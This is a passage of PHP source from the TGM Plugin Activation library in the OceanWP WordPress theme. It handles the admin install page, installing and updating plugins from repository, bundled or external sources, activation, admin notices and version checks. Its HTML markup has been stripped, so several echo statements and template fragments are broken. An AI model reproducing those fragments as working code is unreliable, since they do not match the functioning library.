'tgmpa_admin_menu_args', array( 'parent_slug' => $this->parent_slug, // Parent Menu slug. 'page_title' => $this->strings['page_title'], // Page title. 'menu_title' => $this->strings['menu_title'], // Menu title. 'capability' => $this->capability, // Capability. 'menu_slug' => $this->menu, // Menu slug. 'function' => array( $this, 'install_plugins_page' ), // Callback. ) ); $this->add_admin_menu( $args ); } /** * Add the menu item. * * {@internal IMPORTANT! If this function changes, review the regex in the custom TGMPA * generator on the website.}} * * @since 2.5.0 * * @param array $args Menu item configuration. */ protected function add_admin_menu( array $args ) { $this->page_hook = add_theme_page( $args['page_title'], $args['menu_title'], $args['capability'], $args['menu_slug'], $args['function'] ); } /** * Echoes plugin installation form. * * This method is the callback for the admin_menu method function. * This displays the admin page and form area where the user can select to install and activate the plugin. * Aborts early if we're processing a plugin installation action. * * @since 1.0.0 * * @return null Aborts early if we're processing a plugin installation action. */ public function install_plugins_page() { // Store new instance of plugin table in object. $plugin_table = new TGMPA_List_Table; // Return early if processing a plugin installation action. if ( ( ( 'tgmpa-bulk-install' === $plugin_table->current_action() || 'tgmpa-bulk-update' === $plugin_table->current_action() ) && $plugin_table->process_bulk_actions() ) || $this->do_plugin_install() ) { return; } // Force refresh of available plugin information so we'll know about manual updates/deletes. wp_clean_plugins_cache( false ); ?>

                    prepare_items(); ?> message ) && is_string( $this->message ) ) { echo wp_kses_post( $this->message ); } ?> views(); ?>
                    display(); ?>
                    sanitize_key( urldecode( $_GET['plugin'] ) ); if ( ! isset( $this->plugins[ $slug ] ) ) { return false; } // Was an install or upgrade action link clicked? if ( ( isset( $_GET['tgmpa-install'] ) && 'install-plugin' === $_GET['tgmpa-install'] ) || ( isset( $_GET['tgmpa-update'] ) && 'update-plugin' === $_GET['tgmpa-update'] ) ) { $install_type = 'install'; if ( isset( $_GET['tgmpa-update'] ) && 'update-plugin' === $_GET['tgmpa-update'] ) { $install_type = 'update'; } check_admin_referer( 'tgmpa-' . $install_type, 'tgmpa-nonce' ); // Pass necessary information via URL if WP_Filesystem is needed. $url = wp_nonce_url( add_query_arg( array( 'plugin' => urlencode( $slug ), 'tgmpa-' . $install_type => $install_type . '-plugin', ), $this->get_tgmpa_url() ), 'tgmpa-' . $install_type, 'tgmpa-nonce' ); $method = ''; // Leave blank so WP_Filesystem can populate it as necessary. if ( false === ( $creds = request_filesystem_credentials( esc_url_raw( $url ), $method, false, false, array() ) ) ) { return true; } if ( ! WP_Filesystem( $creds ) ) { request_filesystem_credentials( esc_url_raw( $url ), $method, true, false, array() ); // Setup WP_Filesystem. return true; } /* If we arrive here, we have the filesystem. */ // Prep variables for Plugin_Installer_Skin class. $extra = array(); $extra['slug'] = $slug; // Needed for potentially renaming of directory name. $source = $this->get_download_url( $slug ); $api = ( 'repo' === $this->plugins[ $slug ]['source_type'] ) ? $this->get_plugins_api( $slug ) : null; $api = ( false !== $api ) ? $api : null; $url = add_query_arg( array( 'action' => $install_type . '-plugin', 'plugin' => urlencode( $slug ), ), 'update.php' ); if ( ! class_exists( 'Plugin_Upgrader', false ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; } $title = ( 'update' === $install_type ) ? $this->strings['updating'] : $this->strings['installing']; $skin_args = array( 'type' => ( 'bundled' !== $this->plugins[ $slug ]['source_type'] ) ? 'web' : 'upload', 'title' => sprintf( $title, $this->plugins[ $slug ]['name'] ), 'url' => esc_url_raw( $url ), 'nonce' => $install_type . '-plugin_' . $slug, 'plugin' => '', 'api' => $api, 'extra' => $extra, ); unset( $title ); if ( 'update' === $install_type ) { $skin_args['plugin'] = $this->plugins[ $slug ]['file_path']; $skin = new Plugin_Upgrader_Skin( $skin_args ); } else { $skin = new Plugin_Installer_Skin( $skin_args ); } // Create a new instance of Plugin_Upgrader. $upgrader = new Plugin_Upgrader( $skin ); // Perform the action and install the plugin from the $source urldecode(). add_filter( 'upgrader_source_selection', array( $this, 'maybe_adjust_source_dir' ), 1, 3 ); if ( 'update' === $install_type ) { // Inject our info into the update transient. $to_inject = array( $slug => $this->plugins[ $slug ] ); $to_inject[ $slug ]['source'] = $source; $this->inject_update_info( $to_inject ); $upgrader->upgrade( $this->plugins[ $slug ]['file_path'] ); } else { $upgrader->install( $source ); } remove_filter( 'upgrader_source_selection', array( $this, 'maybe_adjust_source_dir' ), 1 ); // Make sure we have the correct file path now the plugin is installed/updated. $this->populate_file_path( $slug ); // Only activate plugins if the config option is set to true and the plugin isn't // already active (upgrade). if ( $this->is_automatic && ! $this->is_plugin_active( $slug ) ) { $plugin_activate = $upgrader->plugin_info(); // Grab the plugin info from the Plugin_Upgrader method. if ( false === $this->activate_single_plugin( $plugin_activate, $slug, true ) ) { return true; // Finish execution of the function early as we encountered an error. } } $this->show_tgmpa_version(); // Display message based on if all plugins are now active or not. if ( $this->is_tgmpa_complete() ) { echo '

                    ', sprintf( esc_html( $this->strings['complete'] ), '' . esc_html__( 'Return to the Dashboard', 'oceanwp' ) . '' ), '

                    '; echo ''; } else { echo '

                    ', esc_html( $this->strings['return'] ), '

                    '; } return true; } elseif ( isset( $this->plugins[ $slug ]['file_path'], $_GET['tgmpa-activate'] ) && 'activate-plugin' === $_GET['tgmpa-activate'] ) { // Activate action link was clicked. check_admin_referer( 'tgmpa-activate', 'tgmpa-nonce' ); if ( false === $this->activate_single_plugin( $this->plugins[ $slug ]['file_path'], $slug ) ) { return true; // Finish execution of the function early as we encountered an error. } } return false; } /** * Inject information into the 'update_plugins' site transient as WP checks that before running an update. * * @since 2.5.0 * * @param array $plugins The plugin information for the plugins which are to be updated. */ public function inject_update_info( $plugins ) { $repo_updates = get_site_transient( 'update_plugins' ); if ( ! is_object( $repo_updates ) ) { $repo_updates = new stdClass; } foreach ( $plugins as $slug => $plugin ) { $file_path = $plugin['file_path']; if ( empty( $repo_updates->response[ $file_path ] ) ) { $repo_updates->response[ $file_path ] = new stdClass; } // We only really need to set package, but let's do all we can in case WP changes something. $repo_updates->response[ $file_path ]->slug = $slug; $repo_updates->response[ $file_path ]->plugin = $file_path; $repo_updates->response[ $file_path ]->new_version = $plugin['version']; $repo_updates->response[ $file_path ]->package = $plugin['source']; if ( empty( $repo_updates->response[ $file_path ]->url ) && ! empty( $plugin['external_url'] ) ) { $repo_updates->response[ $file_path ]->url = $plugin['external_url']; } } set_site_transient( 'update_plugins', $repo_updates ); } /** * Adjust the plugin directory name if necessary. * * The final destination directory of a plugin is based on the subdirectory name found in the * (un)zipped source. In some cases - most notably GitHub repository plugin downloads -, this * subdirectory name is not the same as the expected slug and the plugin will not be recognized * as installed. This is fixed by adjusting the temporary unzipped source subdirectory name to * the expected plugin slug. * * @since 2.5.0 * * @param string $source Path to upgrade/zip-file-name.tmp/subdirectory/. * @param string $remote_source Path to upgrade/zip-file-name.tmp. * @param \WP_Upgrader $upgrader Instance of the upgrader which installs the plugin. * @return string $source */ public function maybe_adjust_source_dir( $source, $remote_source, $upgrader ) { if ( ! $this->is_tgmpa_page() || ! is_object( $GLOBALS['wp_filesystem'] ) ) { return $source; } // Check for single file plugins. $source_files = array_keys( $GLOBALS['wp_filesystem']->dirlist( $remote_source ) ); if ( 1 === count( $source_files ) && false === $GLOBALS['wp_filesystem']->is_dir( $source ) ) { return $source; } // Multi-file plugin, let's see if the directory is correctly named. $desired_slug = ''; // Figure out what the slug is supposed to be. if ( false === $upgrader->bulk && ! empty( $upgrader->skin->options['extra']['slug'] ) ) { $desired_slug = $upgrader->skin->options['extra']['slug']; } else { // Bulk installer contains less info, so fall back on the info registered here. foreach ( $this->plugins as $slug => $plugin ) { if ( ! empty( $upgrader->skin->plugin_names[ $upgrader->skin->i ] ) && $plugin['name'] === $upgrader->skin->plugin_names[ $upgrader->skin->i ] ) { $desired_slug = $slug; break; } } unset( $slug, $plugin ); } if ( ! empty( $desired_slug ) ) { $subdir_name = untrailingslashit( str_replace( trailingslashit( $remote_source ), '', $source ) ); if ( ! empty( $subdir_name ) && $subdir_name !== $desired_slug ) { $from_path = untrailingslashit( $source ); $to_path = trailingslashit( $remote_source ) . $desired_slug; if ( true === $GLOBALS['wp_filesystem']->move( $from_path, $to_path ) ) { return trailingslashit( $to_path ); } else { return new WP_Error( 'rename_failed', esc_html__( 'The remote plugin package does not contain a folder with the desired slug and renaming did not work.', 'oceanwp' ) . ' ' . esc_html__( 'Please contact the plugin provider and ask them to package their plugin according to the WordPress guidelines.', 'oceanwp' ), array( 'found' => $subdir_name, 'expected' => $desired_slug ) ); } } elseif ( empty( $subdir_name ) ) { return new WP_Error( 'packaged_wrong', esc_html__( 'The remote plugin package consists of more than one file, but the files are not packaged in a folder.', 'oceanwp' ) . ' ' . esc_html__( 'Please contact the plugin provider and ask them to package their plugin according to the WordPress guidelines.', 'oceanwp' ), array( 'found' => $subdir_name, 'expected' => $desired_slug ) ); } } return $source; } /** * Activate a single plugin and send feedback about the result to the screen. * * @since 2.5.0 * * @param string $file_path Path within wp-plugins/ to main plugin file. * @param string $slug Plugin slug. * @param bool $automatic Whether this is an automatic activation after an install. Defaults to false. * This determines the styling of the output messages. * @return bool False if an error was encountered, true otherwise. */ protected function activate_single_plugin( $file_path, $slug, $automatic = false ) { if ( $this->can_plugin_activate( $slug ) ) { $activate = activate_plugin( $file_path ); if ( is_wp_error( $activate ) ) { echo '

                    ', wp_kses_post( $activate->get_error_message() ), '

                    ', '

                    ', esc_html( $this->strings['return'] ), '

                    '; return false; // End it here if there is an error with activation. } else { if ( ! $automatic ) { // Make sure message doesn't display again if bulk activation is performed // immediately after a single activation. if ( ! isset( $_POST['action'] ) ) { // WPCS: CSRF OK. echo '

                    ', esc_html( $this->strings['activated_successfully'] ), ' ', esc_html( $this->plugins[ $slug ]['name'] ), '.

                    '; } } else { // Simpler message layout for use on the plugin install page. echo '

                    ', esc_html( $this->strings['plugin_activated'] ), '

                    '; } } } elseif ( $this->is_plugin_active( $slug ) ) { // No simpler message format provided as this message should never be encountered // on the plugin install page. echo '

                    ', sprintf( esc_html( $this->strings['plugin_already_active'] ), '' . esc_html( $this->plugins[ $slug ]['name'] ) . '' ), '

                    '; } elseif ( $this->does_plugin_require_update( $slug ) ) { if ( ! $automatic ) { // Make sure message doesn't display again if bulk activation is performed // immediately after a single activation. if ( ! isset( $_POST['action'] ) ) { // WPCS: CSRF OK. echo '

                    ', sprintf( esc_html( $this->strings['plugin_needs_higher_version'] ), '' . esc_html( $this->plugins[ $slug ]['name'] ) . '' ), '

                    '; } } else { // Simpler message layout for use on the plugin install page. echo '

                    ', sprintf( esc_html( $this->strings['plugin_needs_higher_version'] ), esc_html( $this->plugins[ $slug ]['name'] ) ), '

                    '; } } return true; } /** * Echoes required plugin notice. * * Outputs a message telling users that a specific plugin is required for * their theme. If appropriate, it includes a link to the form page where * users can install and activate the plugin. * * Returns early if we're on the Install page. * * @since 1.0.0 * * @global object $current_screen * * @return null Returns early if we're on the Install page. */ public function notices() { // Remove nag on the install page / Return early if the nag message has been dismissed or user < author. if ( ( $this->is_tgmpa_page() || $this->is_core_update_page() ) || get_user_meta( get_current_user_id(), 'tgmpa_dismissed_notice_' . $this->id, true ) || ! current_user_can( apply_filters( 'tgmpa_show_admin_notice_capability', 'publish_posts' ) ) ) { return; } // Store for the plugin slugs by message type. $message = array(); // Initialize counters used to determine plurality of action link texts. $install_link_count = 0; $update_link_count = 0; $activate_link_count = 0; $total_required_action_count = 0; foreach ( $this->plugins as $slug => $plugin ) { if ( $this->is_plugin_active( $slug ) && false === $this->does_plugin_have_update( $slug ) ) { continue; } if ( ! $this->is_plugin_installed( $slug ) ) { if ( current_user_can( 'install_plugins' ) ) { $install_link_count++; if ( true === $plugin['required'] ) { $message['notice_can_install_required'][] = $slug; } else { // $message['notice_can_install_recommended'][] = $slug; } } if ( true === $plugin['required'] ) { $total_required_action_count++; } } else { if ( ! $this->is_plugin_active( $slug ) && $this->can_plugin_activate( $slug ) ) { if ( current_user_can( 'activate_plugins' ) ) { $activate_link_count++; if ( true === $plugin['required'] ) { $message['notice_can_activate_required'][] = $slug; } else { // $message['notice_can_activate_recommended'][] = $slug; } } if ( true === $plugin['required'] ) { $total_required_action_count++; } } if ( $this->does_plugin_require_update( $slug ) || false !== $this->does_plugin_have_update( $slug ) ) { if ( current_user_can( 'update_plugins' ) ) { $update_link_count++; if ( $this->does_plugin_require_update( $slug ) ) { $message['notice_ask_to_update'][] = $slug; } elseif ( false !== $this->does_plugin_have_update( $slug ) ) { $message['notice_ask_to_update_maybe'][] = $slug; } } if ( true === $plugin['required'] ) { $total_required_action_count++; } } } } unset( $slug, $plugin ); // If we have notices to display, we move forward. if ( ! empty( $message ) || $total_required_action_count > 0 ) { krsort( $message ); // Sort messages. $rendered = ''; // As add_settings_error() wraps the final message in a

                    and as the final message can't be // filtered, using

                    's in our html would render invalid html output. $line_template = '%s' . "\n"; if ( ! current_user_can( 'activate_plugins' ) && ! current_user_can( 'install_plugins' ) && ! current_user_can( 'update_plugins' ) ) { $rendered = esc_html( $this->strings['notice_cannot_install_activate'] ) . ' ' . esc_html( $this->strings['contact_admin'] ); $rendered .= $this->create_user_action_links_for_notice( 0, 0, 0, $line_template ); } else { // If dismissable is false and a message is set, output it now. if ( ! $this->dismissable && ! empty( $this->dismiss_msg ) ) { $rendered .= sprintf( $line_template, wp_kses_post( $this->dismiss_msg ) ); } // Render the individual message lines for the notice. foreach ( $message as $type => $plugin_group ) { $linked_plugins = array(); // Get the external info link for a plugin if one is available. foreach ( $plugin_group as $plugin_slug ) { $linked_plugins[] = $this->get_info_link( $plugin_slug ); } unset( $plugin_slug ); $count = count( $plugin_group ); $linked_plugins = array_map( array( 'TGMPA_Utils', 'wrap_in_em' ), $linked_plugins ); $last_plugin = array_pop( $linked_plugins ); // Pop off last name to prep for readability. $imploded = empty( $linked_plugins ) ? $last_plugin : ( implode( ', ', $linked_plugins ) . ' ' . esc_html_x( 'and', 'plugin A *and* plugin B', 'oceanwp' ) . ' ' . $last_plugin ); $rendered .= sprintf( $line_template, sprintf( translate_nooped_plural( $this->strings[ $type ], $count, 'oceanwp' ), $imploded, $count ) ); } unset( $type, $plugin_group, $linked_plugins, $count, $last_plugin, $imploded ); $rendered .= $this->create_user_action_links_for_notice( $install_link_count, $update_link_count, $activate_link_count, $line_template ); } // Register the nag messages and prepare them to be processed. add_settings_error( 'tgmpa', 'tgmpa', $rendered, $this->get_admin_notice_class() ); } // Admin options pages already output settings_errors, so this is to avoid duplication. if ( 'options-general' !== $GLOBALS['current_screen']->parent_base ) { $this->display_settings_errors(); } } /** * Generate the user action links for the admin notice. * * @since 2.6.0 * * @param int $install_count Number of plugins to install. * @param int $update_count Number of plugins to update. * @param int $activate_count Number of plugins to activate. * @param int $line_template Template for the HTML tag to output a line. * @return string Action links. */ protected function create_user_action_links_for_notice( $install_count, $update_count, $activate_count, $line_template ) { // Setup action links. $action_links = array( 'install' => '', 'update' => '', 'activate' => '', 'dismiss' => $this->dismissable ? '' . esc_html( $this->strings['dismiss'] ) . '' : '', ); $link_template = '%1$s'; if ( current_user_can( 'install_plugins' ) ) { if ( $install_count > 0 ) { $action_links['install'] = sprintf( $link_template, translate_nooped_plural( $this->strings['install_link'], $install_count, 'oceanwp' ), esc_url( $this->get_tgmpa_status_url( 'install' ) ) ); } if ( $update_count > 0 ) { $action_links['update'] = sprintf( $link_template, translate_nooped_plural( $this->strings['update_link'], $update_count, 'oceanwp' ), esc_url( $this->get_tgmpa_status_url( 'update' ) ) ); } } if ( current_user_can( 'activate_plugins' ) && $activate_count > 0 ) { $action_links['activate'] = sprintf( $link_template, translate_nooped_plural( $this->strings['activate_link'], $activate_count, 'oceanwp' ), esc_url( $this->get_tgmpa_status_url( 'activate' ) ) ); } $action_links = apply_filters( 'tgmpa_notice_action_links', $action_links ); $action_links = array_filter( (array) $action_links ); // Remove any empty array items. if ( ! empty( $action_links ) ) { $action_links = sprintf( $line_template, implode( ' | ', $action_links ) ); return apply_filters( 'tgmpa_notice_rendered_action_links', $action_links ); } else { return ''; } } /** * Get admin notice class. * * Work around all the changes to the various admin notice classes between WP 4.4 and 3.7 * (lowest supported version by TGMPA). * * @since 2.6.0 * * @return string */ protected function get_admin_notice_class() { if ( ! empty( $this->strings['nag_type'] ) ) { return sanitize_html_class( strtolower( $this->strings['nag_type'] ) ); } else { if ( version_compare( $this->wp_version, '4.2', '>=' ) ) { return 'notice-warning'; } elseif ( version_compare( $this->wp_version, '4.1', '>=' ) ) { return 'notice'; } else { return 'updated'; } } } /** * Display settings errors and remove those which have been displayed to avoid duplicate messages showing * * @since 2.5.0 */ protected function display_settings_errors() { global $wp_settings_errors; settings_errors( 'tgmpa' ); foreach ( (array) $wp_settings_errors as $key => $details ) { if ( 'tgmpa' === $details['setting'] ) { unset( $wp_settings_errors[ $key ] ); break; } } } /** * Register dismissal of admin notices. * * Acts on the dismiss link in the admin nag messages. * If clicked, the admin notice disappears and will no longer be visible to this user. * * @since 2.1.0 */ public function dismiss() { if ( isset( $_GET['tgmpa-dismiss'] ) && check_admin_referer( 'tgmpa-dismiss-' . get_current_user_id() ) ) { update_user_meta( get_current_user_id(), 'tgmpa_dismissed_notice_' . $this->id, 1 ); } } /** * Add individual plugin to our collection of plugins. * * If the required keys are not set or the plugin has already * been registered, the plugin is not added. * * @since 2.0.0 * * @param array|null $plugin Array of plugin arguments or null if invalid argument. * @return null Return early if incorrect argument. */ public function register( $plugin ) { if ( empty( $plugin['slug'] ) || empty( $plugin['name'] ) ) { return; } if ( empty( $plugin['slug'] ) || ! is_string( $plugin['slug'] ) || isset( $this->plugins[ $plugin['slug'] ] ) ) { return; } $defaults = array( 'name' => '', // String 'slug' => '', // String 'source' => 'repo', // String 'required' => false, // Boolean 'version' => '', // String 'force_activation' => false, // Boolean 'force_deactivation' => false, // Boolean 'external_url' => '', // String 'is_callable' => '', // String|Array. ); // Prepare the received data. $plugin = wp_parse_args( $plugin, $defaults ); // Standardize the received slug. $plugin['slug'] = $this->sanitize_key( $plugin['slug'] ); // Forgive users for using string versions of booleans or floats for version number. $plugin['version'] = (string) $plugin['version']; $plugin['source'] = empty( $plugin['source'] ) ? 'repo' : $plugin['source']; $plugin['required'] = TGMPA_Utils::validate_bool( $plugin['required'] ); $plugin['force_activation'] = TGMPA_Utils::validate_bool( $plugin['force_activation'] ); $plugin['force_deactivation'] = TGMPA_Utils::validate_bool( $plugin['force_deactivation'] ); // Enrich the received data. $plugin['file_path'] = $this->_get_plugin_basename_from_slug( $plugin['slug'] ); $plugin['source_type'] = $this->get_plugin_source_type( $plugin['source'] ); // Set the class properties. $this->plugins[ $plugin['slug'] ] = $plugin; $this->sort_order[ $plugin['slug'] ] = $plugin['name']; // Should we add the force activation hook ? if ( true === $plugin['force_activation'] ) { $this->has_forced_activation = true; } // Should we add the force deactivation hook ? if ( true === $plugin['force_deactivation'] ) { $this->has_forced_deactivation = true; } } /** * Determine what type of source the plugin comes from. * * @since 2.5.0 * * @param string $source The source of the plugin as provided, either empty (= WP repo), a file path * (= bundled) or an external URL. * @return string 'repo', 'external', or 'bundled' */ protected function get_plugin_source_type( $source ) { if ( 'repo' === $source || preg_match( self::WP_REPO_REGEX, $source ) ) { return 'repo'; } elseif ( preg_match( self::IS_URL_REGEX, $source ) ) { return 'external'; } else { return 'bundled'; } } /** * Sanitizes a string key. * * Near duplicate of WP Core `sanitize_key()`. The difference is that uppercase characters *are* * allowed, so as not to break upgrade paths from non-standard bundled plugins using uppercase * characters in the plugin directory path/slug. Silly them. * * @see https://developer.wordpress.org/reference/hooks/sanitize_key/ * * @since 2.5.0 * * @param string $key String key. * @return string Sanitized key */ public function sanitize_key( $key ) { $raw_key = $key; $key = preg_replace( '`[^A-Za-z0-9_-]`', '', $key ); /** * Filter a sanitized key string. * * @since 2.5.0 * * @param string $key Sanitized key. * @param string $raw_key The key prior to sanitization. */ return apply_filters( 'tgmpa_sanitize_key', $key, $raw_key ); } /** * Amend default configuration settings. * * @since 2.0.0 * * @param array $config Array of config options to pass as class properties. */ public function config( $config ) { $keys = array( 'id', 'default_path', 'has_notices', 'dismissable', 'dismiss_msg', 'menu', 'parent_slug', 'capability', 'is_automatic', 'message', 'strings', ); foreach ( $keys as $key ) { if ( isset( $config[ $key ] ) ) { if ( is_array( $config[ $key ] ) ) { $this->$key = array_merge( $this->$key, $config[ $key ] ); } else { $this->$key = $config[ $key ]; } } } } /** * Amend action link after plugin installation. * * @since 2.0.0 * * @param array $install_actions Existing array of actions. * @return false|array Amended array of actions. */ public function actions( $install_actions ) { // Remove action links on the TGMPA install page. if ( $this->is_tgmpa_page() ) { return false; } return $install_actions; } /** * Flushes the plugins cache on theme switch to prevent stale entries * from remaining in the plugin table. * * @since 2.4.0 * * @param bool $clear_update_cache Optional. Whether to clear the Plugin updates cache. * Parameter added in v2.5.0. */ public function flush_plugins_cache( $clear_update_cache = true ) { wp_clean_plugins_cache( $clear_update_cache ); } /** * Set file_path key for each installed plugin. * * @since 2.1.0 * * @param string $plugin_slug Optional. If set, only (re-)populates the file path for that specific plugin. * Parameter added in v2.5.0. */ public function populate_file_path( $plugin_slug = '' ) { if ( ! empty( $plugin_slug ) && is_string( $plugin_slug ) && isset( $this->plugins[ $plugin_slug ] ) ) { $this->plugins[ $plugin_slug ]['file_path'] = $this->_get_plugin_basename_from_slug( $plugin_slug ); } else { // Add file_path key for all plugins. foreach ( $this->plugins as $slug => $values ) { $this->plugins[ $slug ]['file_path'] = $this->_get_plugin_basename_from_slug( $slug ); } } } /** * Helper function to extract the file path of the plugin file from the * plugin slug, if the plugin is installed. * * @since 2.0.0 * * @param string $slug Plugin slug (typically folder name) as provided by the developer. * @return string Either file path for plugin if installed, or just the plugin slug. */ protected function _get_plugin_basename_from_slug( $slug ) { $keys = array_keys( $this->get_plugins() ); foreach ( $keys as $key ) { if ( preg_match( '|^' . $slug . '/|', $key ) ) { return $key; } } return $slug; } /** * Retrieve plugin data, given the plugin name. * * Loops through the registered plugins looking for $name. If it finds it, * it returns the $data from that plugin. Otherwise, returns false. * * @since 2.1.0 * * @param string $name Name of the plugin, as it was registered. * @param string $data Optional. Array key of plugin data to return. Default is slug. * @return string|boolean Plugin slug if found, false otherwise. */ public function _get_plugin_data_from_name( $name, $data = 'slug' ) { foreach ( $this->plugins as $values ) { if ( $name === $values['name'] && isset( $values[ $data ] ) ) { return $values[ $data ]; } } return false; } /** * Retrieve the download URL for a package. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string Plugin download URL or path to local file or empty string if undetermined. */ public function get_download_url( $slug ) { $dl_source = ''; switch ( $this->plugins[ $slug ]['source_type'] ) { case 'repo': return $this->get_wp_repo_download_url( $slug ); case 'external': return $this->plugins[ $slug ]['source']; case 'bundled': return $this->default_path . $this->plugins[ $slug ]['source']; } return $dl_source; // Should never happen. } /** * Retrieve the download URL for a WP repo package. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string Plugin download URL. */ protected function get_wp_repo_download_url( $slug ) { $source = ''; $api = $this->get_plugins_api( $slug ); if ( false !== $api && isset( $api->download_link ) ) { $source = $api->download_link; } return $source; } /** * Try to grab information from WordPress API. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return object Plugins_api response object on success, WP_Error on failure. */ protected function get_plugins_api( $slug ) { static $api = array(); // Cache received responses. if ( ! isset( $api[ $slug ] ) ) { if ( ! function_exists( 'plugins_api' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; } $response = plugins_api( 'plugin_information', array( 'slug' => $slug, 'fields' => array( 'sections' => false ) ) ); $api[ $slug ] = false; if ( is_wp_error( $response ) ) { wp_die( esc_html( $this->strings['oops'] ) ); } else { $api[ $slug ] = $response; } } return $api[ $slug ]; } /** * Retrieve a link to a plugin information page. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string Fully formed html link to a plugin information page if available * or the plugin name if not. */ public function get_info_link( $slug ) { if ( ! empty( $this->plugins[ $slug ]['external_url'] ) && preg_match( self::IS_URL_REGEX, $this->plugins[ $slug ]['external_url'] ) ) { $link = sprintf( '%2$s', esc_url( $this->plugins[ $slug ]['external_url'] ), esc_html( $this->plugins[ $slug ]['name'] ) ); } elseif ( 'repo' === $this->plugins[ $slug ]['source_type'] ) { $url = add_query_arg( array( 'tab' => 'plugin-information', 'plugin' => urlencode( $slug ), 'TB_iframe' => 'true', 'width' => '640', 'height' => '500', ), self_admin_url( 'plugin-install.php' ) ); $link = sprintf( '%2$s', esc_url( $url ), esc_html( $this->plugins[ $slug ]['name'] ) ); } else { $link = esc_html( $this->plugins[ $slug ]['name'] ); // No hyperlink. } return $link; } /** * Determine if we're on the TGMPA Install page. * * @since 2.1.0 * * @return boolean True when on the TGMPA page, false otherwise. */ protected function is_tgmpa_page() { return isset( $_GET['page'] ) && $this->menu === $_GET['page']; } /** * Determine if we're on a WP Core installation/upgrade page. * * @since 2.6.0 * * @return boolean True when on a WP Core installation/upgrade page, false otherwise. */ protected function is_core_update_page() { // Current screen is not always available, most notably on the customizer screen. if ( ! function_exists( 'get_current_screen' ) ) { return false; } $screen = get_current_screen(); if ( 'update-core' === $screen->base ) { // Core update screen. return true; } elseif ( 'plugins' === $screen->base && ! empty( $_POST['action'] ) ) { // WPCS: CSRF ok. // Plugins bulk update screen. return true; } elseif ( 'update' === $screen->base && ! empty( $_POST['action'] ) ) { // WPCS: CSRF ok. // Individual updates (ajax call). return true; } return false; } /** * Retrieve the URL to the TGMPA Install page. * * I.e. depending on the config settings passed something along the lines of: * http://example.com/wp-admin/themes.php?page=tgmpa-install-plugins * * @since 2.5.0 * * @return string Properly encoded URL (not escaped). */ public function get_tgmpa_url() { static $url; if ( ! isset( $url ) ) { $parent = $this->parent_slug; if ( false === strpos( $parent, '.php' ) ) { $parent = 'admin.php'; } $url = add_query_arg( array( 'page' => urlencode( $this->menu ), ), self_admin_url( $parent ) ); } return $url; } /** * Retrieve the URL to the TGMPA Install page for a specific plugin status (view). * * I.e. depending on the config settings passed something along the lines of: * http://example.com/wp-admin/themes.php?page=tgmpa-install-plugins&plugin_status=install * * @since 2.5.0 * * @param string $status Plugin status - either 'install', 'update' or 'activate'. * @return string Properly encoded URL (not escaped). */ public function get_tgmpa_status_url( $status ) { return add_query_arg( array( 'plugin_status' => urlencode( $status ), ), $this->get_tgmpa_url() ); } /** * Determine whether there are open actions for plugins registered with TGMPA. * * @since 2.5.0 * * @return bool True if complete, i.e. no outstanding actions. False otherwise. */ public function is_tgmpa_complete() { $complete = true; foreach ( $this->plugins as $slug => $plugin ) { if ( ! $this->is_plugin_active( $slug ) || false !== $this->does_plugin_have_update( $slug ) ) { $complete = false; break; } } return $complete; } /** * Check if a plugin is installed. Does not take must-use plugins into account. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return bool True if installed, false otherwise. */ public function is_plugin_installed( $slug ) { $installed_plugins = $this->get_plugins(); // Retrieve a list of all installed plugins (WP cached). return ( ! empty( $installed_plugins[ $this->plugins[ $slug ]['file_path'] ] ) ); } /** * Check if a plugin is active. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return bool True if active, false otherwise. */ public function is_plugin_active( $slug ) { return ( ( ! empty( $this->plugins[ $slug ]['is_callable'] ) && is_callable( $this->plugins[ $slug ]['is_callable'] ) ) || is_plugin_active( $this->plugins[ $slug ]['file_path'] ) ); } /** * Check if a plugin can be updated, i.e. if we have information on the minimum WP version required * available, check whether the current install meets them. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return bool True if OK to update, false otherwise. */ public function can_plugin_update( $slug ) { // We currently can't get reliable info on non-WP-repo plugins - issue #380. if ( 'repo' !== $this->plugins[ $slug ]['source_type'] ) { return true; } $api = $this->get_plugins_api( $slug ); if ( false !== $api && isset( $api->requires ) ) { return version_compare( $this->wp_version, $api->requires, '>=' ); } // No usable info received from the plugins API, presume we can update. return true; } /** * Check to see if the plugin is 'updatetable', i.e. installed, with an update available * and no WP version requirements blocking it. * * @since 2.6.0 * * @param string $slug Plugin slug. * @return bool True if OK to proceed with update, false otherwise. */ public function is_plugin_updatetable( $slug ) { if ( ! $this->is_plugin_installed( $slug ) ) { return false; } else { return ( false !== $this->does_plugin_have_update( $slug ) && $this->can_plugin_update( $slug ) ); } } /** * Check if a plugin can be activated, i.e. is not currently active and meets the minimum * plugin version requirements set in TGMPA (if any). * * @since 2.5.0 * * @param string $slug Plugin slug. * @return bool True if OK to activate, false otherwise. */ public function can_plugin_activate( $slug ) { return ( ! $this->is_plugin_active( $slug ) && ! $this->does_plugin_require_update( $slug ) ); } /** * Retrieve the version number of an installed plugin. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return string Version number as string or an empty string if the plugin is not installed * or version unknown (plugins which don't comply with the plugin header standard). */ public function get_installed_version( $slug ) { $installed_plugins = $this->get_plugins(); // Retrieve a list of all installed plugins (WP cached). if ( ! empty( $installed_plugins[ $this->plugins[ $slug ]['file_path'] ]['Version'] ) ) { return $installed_plugins[ $this->plugins[ $slug ]['file_path'] ]['Version']; } return ''; } /** * Check whether a plugin complies with the minimum version requirements. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return bool True when a plugin needs to be updated, otherwise false. */ public function does_plugin_require_update( $slug ) { $installed_version = $this->get_installed_version( $slug ); $minimum_version = $this->plugins[ $slug ]['version']; return version_compare( $minimum_version, $installed_version, '>' ); } /** * Check whether there is an update available for a plugin. * * @since 2.5.0 * * @param string $slug Plugin slug. * @return false|string Version number string of the available update or false if no update available. */ public function does_plugin_have_update( $slug ) { // Presume bundled and external plugins will point to a package which meets the minimum required version. if ( 'repo' !== $this->plugins[ $slug ]['source_type'] ) { if ( $this->does_plugin_require_update( $slug ) ) { return $this->plugins[ $slug ]['version']; } return false; } $repo_updates = get_site_transient( 'update_plugins' ); if ( 